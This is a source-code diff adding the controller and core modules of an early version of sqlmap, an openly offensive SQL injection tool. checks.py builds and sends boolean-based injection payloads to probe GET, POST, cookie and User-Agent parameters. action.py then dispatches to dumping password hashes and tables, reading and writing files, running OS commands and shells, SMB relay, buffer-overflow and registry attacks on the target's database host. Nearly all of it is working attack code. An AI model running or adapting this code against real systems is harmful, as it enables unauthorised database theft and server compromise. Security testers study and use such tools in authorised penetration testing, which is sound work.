+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+pass

lib/controller/action.py

@@ -0,0 +1,164 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+from lib.controller.handler import setHandler
+from lib.core.common import getHtmlErrorFp
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.dump import dumper
+from lib.core.exception import sqlmapUnsupportedDBMSException
+from lib.core.settings import SUPPORTED_DBMS
+from lib.techniques.blind.timebased import timeTest
+from lib.techniques.inband.union.test import unionTest
+from lib.techniques.outband.stacked import stackedTest
+
+def action():
+    """
+    This function exploit the SQL injection on the affected
+    url parameter and extract requested data from the
+    back-end database management system or operating system
+    if possible
+    """
+
+    # First of all we have to identify the back-end database management
+    # system to be able to go ahead with the injection
+    conf.dbmsHandler = setHandler()
+
+    if not conf.dbmsHandler:
+        htmlParsed = getHtmlErrorFp()
+
+        errMsg  = "sqlmap was not able to fingerprint the "
+        errMsg += "back-end database management system"
+
+        if htmlParsed:
+            errMsg += ", but from the HTML error page it was "
+            errMsg += "possible to determinate that the "
+            errMsg += "back-end DBMS is %s" % htmlParsed
+
+        if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
+            errMsg += ". Do not specify the back-end DBMS manually, "
+            errMsg += "sqlmap will fingerprint the DBMS for you"
+        else:
+            errMsg += ". Support for this DBMS will be implemented if "
+            errMsg += "you ask, just drop us an email"
+
+        raise sqlmapUnsupportedDBMSException, errMsg
+
+    print "%s\n" % conf.dbmsHandler.getFingerprint()
+
+    # Techniques options
+    if conf.stackedTest:
+        dumper.string("stacked queries support", stackedTest())
+
+    if conf.timeTest:
+        dumper.string("time based blind sql injection payload", timeTest())
+
+    if ( conf.unionUse or conf.unionTest ) and not kb.unionPosition:
+        dumper.string("valid union", unionTest())
+
+    # Enumeration options
+    if conf.getBanner:
+        dumper.string("banner", conf.dbmsHandler.getBanner())
+
+    if conf.getCurrentUser:
+        dumper.string("current user", conf.dbmsHandler.getCurrentUser())
+
+    if conf.getCurrentDb:
+        dumper.string("current database", conf.dbmsHandler.getCurrentDb())
+
+    if conf.isDba:
+        dumper.string("current user is DBA", conf.dbmsHandler.isDba())
+
+    if conf.getUsers:
+        dumper.lister("database management system users", conf.dbmsHandler.getUsers())
+
+    if conf.getPasswordHashes:
+        dumper.userSettings("database management system users password hashes",
+                            conf.dbmsHandler.getPasswordHashes(), "password hash")
+
+    if conf.getPrivileges:
+        dumper.userSettings("database management system users privileges",
+                            conf.dbmsHandler.getPrivileges(), "privilege")
+
+    if conf.getDbs:
+        dumper.lister("available databases", conf.dbmsHandler.getDbs())
+
+    if conf.getTables:
+        dumper.dbTables(conf.dbmsHandler.getTables())
+
+    if conf.getColumns:
+        dumper.dbTableColumns(conf.dbmsHandler.getColumns())
+
+    if conf.dumpTable:
+        dumper.dbTableValues(conf.dbmsHandler.dumpTable())
+
+    if conf.dumpAll:
+        conf.dbmsHandler.dumpAll()
+
+    if conf.query:
+        dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query))
+
+    if conf.sqlShell:
+        conf.dbmsHandler.sqlShell()
+
+    # User-defined function options
+    if conf.udfInject:
+        conf.dbmsHandler.udfInjectCustom()
+
+    # File system options
+    if conf.rFile:
+        dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
+
+    if conf.wFile:
+        conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
+
+    # Operating system options
+    if conf.osCmd:
+        conf.dbmsHandler.osCmd()
+
+    if conf.osShell:
+        conf.dbmsHandler.osShell()
+
+    if conf.osPwn:
+        conf.dbmsHandler.osPwn()
+
+    if conf.osSmb:
+        conf.dbmsHandler.osSmb()
+
+    if conf.osBof:
+        conf.dbmsHandler.osBof()
+
+    # Windows registry options
+    if conf.regRead:
+        dumper.string("Registry key value data", conf.dbmsHandler.regRead())
+
+    if conf.regAdd:
+        conf.dbmsHandler.regAdd()
+
+    if conf.regDel:
+        conf.dbmsHandler.regDel()
+
+    # Miscellaneous options
+    if conf.cleanup:
+        conf.dbmsHandler.cleanup()

lib/controller/checks.py

@@ -0,0 +1,401 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import re
+import time
+
+from lib.core.agent import agent
+from lib.core.common import randomInt
+from lib.core.common import randomStr
+from lib.core.convert import md5hash
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapConnectionException
+from lib.core.exception import sqlmapNoneDataException
+from lib.core.session import setString
+from lib.core.session import setRegexp
+from lib.request.connect import Connect as Request
+
+def checkSqlInjection(place, parameter, value, parenthesis):
+    """
+    This function checks if the GET, POST, Cookie, User-Agent
+    parameters are affected by a SQL injection vulnerability and
+    identifies the type of SQL injection:
+
+      * Unescaped numeric injection
+      * Single quoted string injection
+      * Double quoted string injection
+    """
+
+    randInt = randomInt()
+    randStr = randomStr()
+
+    if conf.prefix or conf.postfix:
+        prefix  = ""
+        postfix = ""
+
+        if conf.prefix:
+            prefix = conf.prefix
+
+        if conf.postfix:
+            postfix = conf.postfix
+
+        infoMsg  = "testing custom injection "
+        infoMsg += "on %s parameter '%s'" % (place, parameter)
+        logger.info(infoMsg)
+
+        payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
+        trueResult = Request.queryPage(payload, place)
+
+        if trueResult:
+            payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
+            falseResult = Request.queryPage(payload, place)
+
+            if not falseResult:
+                infoMsg  = "confirming custom injection "
+                infoMsg += "on %s parameter '%s'" % (place, parameter)
+                logger.info(infoMsg)
+
+                payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
+                falseResult = Request.queryPage(payload, place)
+
+                if not falseResult:
+                    infoMsg  = "%s parameter '%s' is " % (place, parameter)
+                    infoMsg += "custom injectable "
+                    logger.info(infoMsg)
+
+                    return "custom"
+
+    infoMsg  = "testing unescaped numeric injection "
+    infoMsg += "on %s parameter '%s'" % (place, parameter)
+    logger.info(infoMsg)
+
+    payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
+    trueResult = Request.queryPage(payload, place)
+
+    if trueResult:
+        payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
+        falseResult = Request.queryPage(payload, place)
+
+        if not falseResult:
+            infoMsg  = "confirming unescaped numeric injection "
+            infoMsg += "on %s parameter '%s'" % (place, parameter)
+            logger.info(infoMsg)
+
+            payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
+            falseResult = Request.queryPage(payload, place)
+
+            if not falseResult:
+                infoMsg  = "%s parameter '%s' is " % (place, parameter)
+                infoMsg += "unescaped numeric injectable "
+                infoMsg += "with %d parenthesis" % parenthesis
+                logger.info(infoMsg)
+
+                return "numeric"
+
+    infoMsg  = "%s parameter '%s' is not " % (place, parameter)
+    infoMsg += "unescaped numeric injectable"
+    logger.info(infoMsg)
+
+    infoMsg  = "testing single quoted string injection "
+    infoMsg += "on %s parameter '%s'" % (place, parameter)
+    logger.info(infoMsg)
+
+    payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
+    trueResult = Request.queryPage(payload, place)
+
+    if trueResult:
+        payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
+        falseResult = Request.queryPage(payload, place)
+
+        if not falseResult:
+            infoMsg  = "confirming single quoted string injection "
+            infoMsg += "on %s parameter '%s'" % (place, parameter)
+            logger.info(infoMsg)
+
+            payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
+            falseResult = Request.queryPage(payload, place)
+
+            if not falseResult:
+                infoMsg  = "%s parameter '%s' is " % (place, parameter)
+                infoMsg += "single quoted string injectable "
+                infoMsg += "with %d parenthesis" % parenthesis
+                logger.info(infoMsg)
+
+                return "stringsingle"
+
+    infoMsg  = "%s parameter '%s' is not " % (place, parameter)
+    infoMsg += "single quoted string injectable"
+    logger.info(infoMsg)
+
+    infoMsg  = "testing LIKE single quoted string injection "
+    infoMsg += "on %s parameter '%s'" % (place, parameter)
+    logger.info(infoMsg)
+
+    payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
+    trueResult = Request.queryPage(payload, place)
+
+    if trueResult:
+        payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
+        falseResult = Request.queryPage(payload, place)
+
+        if not falseResult:
+            infoMsg  = "confirming LIKE single quoted string injection "
+            infoMsg += "on %s parameter '%s'" % (place, parameter)
+            logger.info(infoMsg)
+
+            payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
+            falseResult = Request.queryPage(payload, place)
+
+            if not falseResult:
+                infoMsg  = "%s parameter '%s' is " % (place, parameter)
+                infoMsg += "LIKE single quoted string injectable "
+                infoMsg += "with %d parenthesis" % parenthesis
+                logger.info(infoMsg)
+
+                return "likesingle"
+
+    infoMsg  = "%s parameter '%s' is not " % (place, parameter)
+    infoMsg += "LIKE single quoted string injectable"
+    logger.info(infoMsg)
+
+    infoMsg  = "testing double quoted string injection "
+    infoMsg += "on %s parameter '%s'" % (place, parameter)
+    logger.info(infoMsg)
+
+    payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
+    trueResult = Request.queryPage(payload, place)
+
+    if trueResult:
+        payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
+        falseResult = Request.queryPage(payload, place)
+
+        if not falseResult:
+            infoMsg  = "confirming double quoted string injection "
+            infoMsg += "on %s parameter '%s'" % (place, parameter)
+            logger.info(infoMsg)
+
+            payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
+            falseResult = Request.queryPage(payload, place)
+
+            if not falseResult:
+                infoMsg  = "%s parameter '%s' is " % (place, parameter)
+                infoMsg += "double quoted string injectable "
+                infoMsg += "with %d parenthesis" % parenthesis
+                logger.info(infoMsg)
+
+                return "stringdouble"
+
+    infoMsg  = "%s parameter '%s' is not " % (place, parameter)
+    infoMsg += "double quoted string injectable"
+    logger.info(infoMsg)
+
+    infoMsg  = "testing LIKE double quoted string injection "
+    infoMsg += "on %s parameter '%s'" % (place, parameter)
+    logger.info(infoMsg)
+
+    payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
+    trueResult = Request.queryPage(payload, place)
+
+    if trueResult:
+        payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
+        falseResult = Request.queryPage(payload, place)
+
+        if not falseResult:
+            infoMsg  = "confirming LIKE double quoted string injection "
+            infoMsg += "on %s parameter '%s'" % (place, parameter)
+            logger.info(infoMsg)
+
+            payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
+            falseResult = Request.queryPage(payload, place)
+
+            if not falseResult:
+                infoMsg  = "%s parameter '%s' is " % (place, parameter)
+                infoMsg += "LIKE double quoted string injectable "
+                infoMsg += "with %d parenthesis" % parenthesis
+                logger.info(infoMsg)
+
+                return "likedouble"
+
+    infoMsg  = "%s parameter '%s' is not " % (place, parameter)
+    infoMsg += "LIKE double quoted string injectable"
+    logger.info(infoMsg)
+
+    return None
+
+def checkDynParam(place, parameter, value):
+    """
+    This function checks if the url parameter is dynamic. If it is
+    dynamic, the content of the page differs, otherwise the
+    dynamicity might depend on another parameter.
+    """
+
+    infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
+    logger.info(infoMsg)
+
+    randInt = randomInt()
+    payload = agent.payload(place, parameter, value, str(randInt))
+    dynResult1 = Request.queryPage(payload, place)
+
+    if True == dynResult1:
+        return False
+
+    infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
+    logger.info(infoMsg)
+
+    payload = agent.payload(place, parameter, value, "'%s" % randomStr())
+    dynResult2 = Request.queryPage(payload, place)
+
+    payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
+    dynResult3 = Request.queryPage(payload, place)
+
+    condition  = True != dynResult2
+    condition |= True != dynResult3
+
+    return condition
+
+def checkStability():
+    """
+    This function checks if the URL content is stable requesting the
+    same page three times with a small delay within each request to
+    assume that it is stable.
+
+    In case the content of the page differs when requesting
+    the same page, the dynamicity might depend on other parameters,
+    like for instance string matching (--string).
+    """
+
+    infoMsg = "testing if the url is stable, wait a few seconds"
+    logger.info(infoMsg)
+
+    firstPage, _ = Request.queryPage(content=True)
+    time.sleep(1)
+    secondPage, _ = Request.queryPage(content=True)
+
+    condition = (firstPage == secondPage)
+
+    if condition:
+        if firstPage:
+            conf.md5hash = md5hash(firstPage)
+            logMsg  = "url is stable"
+            logger.info(logMsg)
+        else:
+            exceptionMsg   = "there was an error checking the stability of page "
+            exceptionMsg  += "because of lack of content. please check the "
+            exceptionMsg  += "page request results (and probable errors) by "
+            exceptionMsg  += "using higher verbosity levels"
+            raise sqlmapNoneDataException, exceptionMsg
+
+    elif not condition:
+        warnMsg  = "url is not stable, sqlmap will base the page "
+        warnMsg += "comparison on a sequence matcher, if no dynamic nor "
+        warnMsg += "injectable parameters are detected, refer to user's "
+        warnMsg += "manual paragraph 'Page comparison' and provide a "
+        warnMsg += "string or regular expression to match on"
+        logger.warn(warnMsg)
+
+    return condition
+
+def checkString():
+    if not conf.string:
+        return True
+
+    condition = (
+                  kb.resumedQueries.has_key(conf.url) and
+                  kb.resumedQueries[conf.url].has_key("String") and
+                  kb.resumedQueries[conf.url]["String"][:-1] == conf.string
+                )
+
+    if condition:
+        return True
+
+    infoMsg  = "testing if the provided string is within the "
+    infoMsg += "target URL page content"
+    logger.info(infoMsg)
+
+    page, _ = Request.queryPage(content=True)
+
+    if conf.string in page:
+        setString()
+        return True
+    else:
+        errMsg  = "you provided '%s' as the string to " % conf.string
+        errMsg += "match, but such a string is not within the target "
+        errMsg += "URL page content, please provide another string."
+        logger.error(errMsg)
+
+        return False
+
+def checkRegexp():
+    if not conf.regexp:
+        return True
+
+    condition = (
+                  kb.resumedQueries.has_key(conf.url) and
+                  kb.resumedQueries[conf.url].has_key("Regular expression") and
+                  kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
+                )
+
+    if condition:
+        return True
+
+    infoMsg  = "testing if the provided regular expression matches within "
+    infoMsg += "the target URL page content"
+    logger.info(infoMsg)
+
+    page, _ = Request.queryPage(content=True)
+
+    if re.search(conf.regexp, page, re.I | re.M):
+        setRegexp()
+        return True
+    else:
+        errMsg  = "you provided '%s' as the regular expression to " % conf.regexp
+        errMsg += "match, but such a regular expression does not have any "
+        errMsg += "match within the target URL page content, please provide "
+        errMsg += "another regular expression."
+        logger.error(errMsg)
+
+        return False
+
+def checkConnection():
+    infoMsg = "testing connection to the target url"
+    logger.info(infoMsg)
+
+    try:
+        page, _ = Request.getPage()
+        conf.seqMatcher.set_seq1(page)
+
+    except sqlmapConnectionException, exceptionMsg:
+        exceptionMsg = str(exceptionMsg)
+
+        if conf.multipleTargets:
+            exceptionMsg += ", skipping to next url"
+            logger.warn(exceptionMsg)
+
+            return False
+        else:
+            raise sqlmapConnectionException, exceptionMsg
+
+    return True

lib/controller/controller.py

@@ -0,0 +1,262 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+from lib.controller.action import action
+from lib.controller.checks import checkSqlInjection
+from lib.controller.checks import checkDynParam
+from lib.controller.checks import checkStability
+from lib.controller.checks import checkString
+from lib.controller.checks import checkRegexp
+from lib.controller.checks import checkConnection
+from lib.core.common import paramToDict
+from lib.core.common import parseTargetUrl
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapNotVulnerableException
+from lib.core.session import setInjection
+from lib.core.target import createTargetDirs
+from lib.core.target import initTargetEnv
+from lib.utils.parenthesis import checkForParenthesis
+
+def __selectInjection(injData):
+    """
+    Selection function for injection place, parameters and type.
+    """
+
+    message  = "there were multiple injection points, please select the "
+    message += "one to use to go ahead:\n"
+
+    for i in xrange(0, len(injData)):
+        injPlace     = injData[i][0]
+        injParameter = injData[i][1]
+        injType      = injData[i][2]
+
+        message += "[%d] place: %s, parameter: " % (i, injPlace)
+        message += "%s, type: %s" % (injParameter, injType)
+
+        if i == 0:
+            message += " (default)"
+
+        message += "\n"
+
+    message += "[q] Quit"
+    select   = readInput(message, default="0")
+
+    if not select:
+        index = 0
+
+    elif select.isdigit() and int(select) < len(injData) and int(select) >= 0:
+        index = int(select)
+
+    elif select[0] in ( "Q", "q" ):
+        return "Quit"
+
+    else:
+        warnMsg = "Invalid choice, retry"
+        logger.warn(warnMsg)
+        __selectInjection(injData)
+
+    return injData[index]
+
+def start():
+    """
+    This function calls a function that performs checks on both URL
+    stability and all GET, POST, Cookie and User-Agent parameters to
+    check if they are dynamic and SQL injection affected
+    """
+
+    if conf.url:
+        kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
+
+    if conf.configFile and not kb.targetUrls:
+        errMsg  = "you did not edit the configuration file properly, set "
+        errMsg += "the target url, list of targets or google dork"
+        logger.error(errMsg)
+
+    if kb.targetUrls and len(kb.targetUrls) > 1:
+        infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
+        logger.info(infoMsg)
+
+    hostCount               = 0
+    cookieStr               = ""
+    setCookieAsInjectable   = True
+
+    for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
+        conf.url    = targetUrl
+        conf.method = targetMethod
+        conf.data   = targetData
+        conf.cookie = targetCookie
+        injData     = []
+
+        if conf.multipleTargets:
+            hostCount += 1
+            message = "url %d:\n%s %s" % (hostCount, conf.method or "GET", targetUrl)
+
+            if conf.cookie:
+                message += "\nCookie: %s" % conf.cookie
+
+            if conf.data:
+                message += "\nPOST data: %s" % conf.data
+
+            message += "\ndo you want to test this url? [Y/n/q]"
+            test = readInput(message, default="Y")
+
+            if not test:
+                pass
+            elif test[0] in ("n", "N"):
+                continue
+            elif test[0] in ("q", "Q"):
+                break
+
+            logMsg = "testing url %s" % targetUrl
+            logger.info(logMsg)
+
+        parseTargetUrl()
+        createTargetDirs()
+        initTargetEnv()
+
+        if not checkConnection() or not checkString() or not checkRegexp():
+            continue
+
+        if not conf.dropSetCookie:
+            for _, cookie in enumerate(conf.cj):
+                cookie = str(cookie)
+                index  = cookie.index(" for ")
+    
+                cookieStr += "%s;" % cookie[8:index]
+
+            if cookieStr:
+                cookieStr = cookieStr[:-1]
+    
+                if "Cookie" in conf.parameters:
+                    message  = "you provided an HTTP Cookie header value. "
+                    message += "The target url provided its own Cookie within "
+                    message += "the HTTP Set-Cookie header. Do you want to "
+                    message += "continue using the HTTP Cookie values that "
+                    message += "you provided? [Y/n] "
+                    test = readInput(message, default="Y")
+    
+                    if not test or test[0] in ("y", "Y"):
+                        setCookieAsInjectable = False
+    
+                if setCookieAsInjectable:
+                    conf.httpHeaders.append(("Cookie", cookieStr))
+                    conf.parameters["Cookie"] = cookieStr
+                    __paramDict = paramToDict("Cookie", cookieStr)
+    
+                    if __paramDict:
+                        conf.paramDict["Cookie"] = __paramDict
+                        __testableParameters = True
+
+        if not kb.injPlace or not kb.injParameter or not kb.injType:
+            if not conf.string and not conf.regexp and not conf.eRegexp:
+                # NOTE: this is not needed anymore, leaving only to display
+                # a warning message to the user in case the page is not stable
+                checkStability()
+
+            for place in conf.parameters.keys():
+                if not conf.paramDict.has_key(place):
+                    continue
+
+                paramDict = conf.paramDict[place]
+
+                for parameter, value in paramDict.items():
+                    testSqlInj = True
+
+                    # Avoid dinamicity test if the user provided the
+                    # parameter manually
+                    if parameter in conf.testParameter:
+                        pass
+
+                    elif not checkDynParam(place, parameter, value):
+                        warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
+                        logger.warn(warnMsg)
+                        testSqlInj = False
+
+                    else:
+                        logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
+                        logger.info(logMsg)
+
+                    if testSqlInj:
+                        for parenthesis in range(0, 4):
+                            logMsg  = "testing sql injection on %s " % place
+                            logMsg += "parameter '%s' with " % parameter
+                            logMsg += "%d parenthesis" % parenthesis
+                            logger.info(logMsg)
+
+                            injType = checkSqlInjection(place, parameter, value, parenthesis)
+
+                            if injType:
+                                injData.append((place, parameter, injType))
+
+                                break
+                            else:
+                                infoMsg  = "%s parameter '%s' is not " % (place, parameter)
+                                infoMsg += "injectable with %d parenthesis" % parenthesis
+                                logger.info(infoMsg)
+
+                        if not injData:
+                            warnMsg  = "%s parameter '%s' is not " % (place, parameter)
+                            warnMsg += "injectable"
+                            logger.warn(warnMsg)
+
+        if not kb.injPlace or not kb.injParameter or not kb.injType:
+            if len(injData) == 1:
+                injDataSelected = injData[0]
+
+            elif len(injData) > 1:
+                injDataSelected = __selectInjection(injData)
+
+            elif conf.multipleTargets:
+                continue
+
+            else:
+                return
+
+            if injDataSelected == "Quit":
+                return
+
+            else:
+                kb.injPlace, kb.injParameter, kb.injType = injDataSelected
+                setInjection()
+
+        if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
+            raise sqlmapNotVulnerableException, "all parameters are not injectable"
+        elif kb.injPlace and kb.injParameter and kb.injType:
+            if conf.multipleTargets:
+                message = "do you want to exploit this SQL injection? [Y/n] "
+                exploit = readInput(message, default="Y")
+
+                condition = not exploit or exploit[0] in ("y", "Y")
+            else:
+                condition = True
+
+            if condition:
+                checkForParenthesis()
+                action()
+
+    if conf.loggedToOut:
+        logger.info("Fetched data logged to text files under '%s'" % conf.outputPath)

lib/controller/handler.py

@@ -0,0 +1,70 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.settings import MSSQL_ALIASES
+from lib.core.settings import MYSQL_ALIASES
+from lib.core.settings import ORACLE_ALIASES
+from lib.core.settings import PGSQL_ALIASES
+
+from plugins.dbms.mssqlserver import MSSQLServerMap
+from plugins.dbms.mysql import MySQLMap
+from plugins.dbms.oracle import OracleMap
+from plugins.dbms.postgresql import PostgreSQLMap
+
+def setHandler():
+    """
+    Detect which is the target web application back-end database
+    management system.
+    """
+
+    count     = 0
+    dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" )
+    dbmsMap   = (
+                  ( MYSQL_ALIASES, MySQLMap ),
+                  ( ORACLE_ALIASES, OracleMap ),
+                  ( PGSQL_ALIASES, PostgreSQLMap ),
+                  ( MSSQL_ALIASES, MSSQLServerMap ),
+                )
+
+    for dbmsAliases, dbmsEntry in dbmsMap:
+        if conf.dbms and conf.dbms not in dbmsAliases:
+            debugMsg  = "skipping test for %s" % dbmsNames[count]
+            logger.debug(debugMsg)
+
+            count += 1
+
+            continue
+
+        dbmsHandler = dbmsEntry()
+
+        if dbmsHandler.checkDbms():
+            if not conf.dbms or conf.dbms in dbmsAliases:
+                kb.dbmsDetected = True
+
+                return dbmsHandler
+
+    return None

lib/core/__init__.py

@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+pass

lib/core/agent.py

@@ -0,0 +1,560 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import re
+
+from lib.core.common import randomInt
+from lib.core.common import randomStr
+from lib.core.convert import urlencode
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import queries
+from lib.core.data import temp
+from lib.core.exception import sqlmapNoneDataException
+
+
+class Agent:
+    """
+    This class defines the SQL agent methods.
+    """
+
+    def __init__(self):
+        temp.delimiter = randomStr(6)
+        temp.start     = randomStr(6)
+        temp.stop      = randomStr(6)
+
+    def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
+        """
+        This method replaces the affected parameter with the SQL
+        injection statement to request
+        """
+
+        falseValue = ""
+        negValue   = ""
+        retValue   = ""
+        newValue   = urlencode(newValue)
+
